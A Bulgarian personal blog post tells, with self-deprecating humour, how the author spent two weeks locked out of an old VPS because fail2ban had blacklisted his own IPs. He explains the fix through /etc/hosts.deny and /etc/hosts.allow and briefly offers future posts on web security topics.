P.S. Ако ви е интересно мога да разпиша повече по темата с DVWA като XSS, CSRF, чупене на хешове с John the Ripper, сигурност в WordPress (скенери, атаки, как да се предпазим, а, у) и т.н.

P.S.S. Преди време говорих на WordPress meetup-а във Варна за сигурност, ако ви е интересно – има повечко системни неща, има и dictionary attack-а и подобни:

Добре, че не станах системен администратор

Днес се самообявих за най-големия олигофрен, който познавам.

Мигрирам marvin от един VPS provider към друг и изведнъж достъпа ми до стария VPS по SSH спря. И не мога да се логна нито от офиса нито от нас. И писах едни мейли, една кореспонденция, едно чудо.
И успявам да се закача за console applet-а , но не мога да прехвърля файловете си през SSH.

ДВЕ СЕДМИЦИ. Две седмици ми отне да се сетя, че имам fail2ban, който явно не съм конфигурирал или съм конфигурирал по някакъв тъп начин и съм си blacklist-нал сам достъпа до двете IP-та.

За тези на които хипоталамуса им изтръпва при този проблем – четете долните редове. Ако сте сисадмин и знаете отговора – затворете сайта и никога повече не влизайте. All the shame…

Та – играта ви е в:

/etc/hosts.allow

/etc/hosts.deny

Влизате с нужните права в /etc/hosts.deny и вижте вашето IP дали не е там. Ако е – можете да го коментирате и да го добавите в /etc/hosts.allow.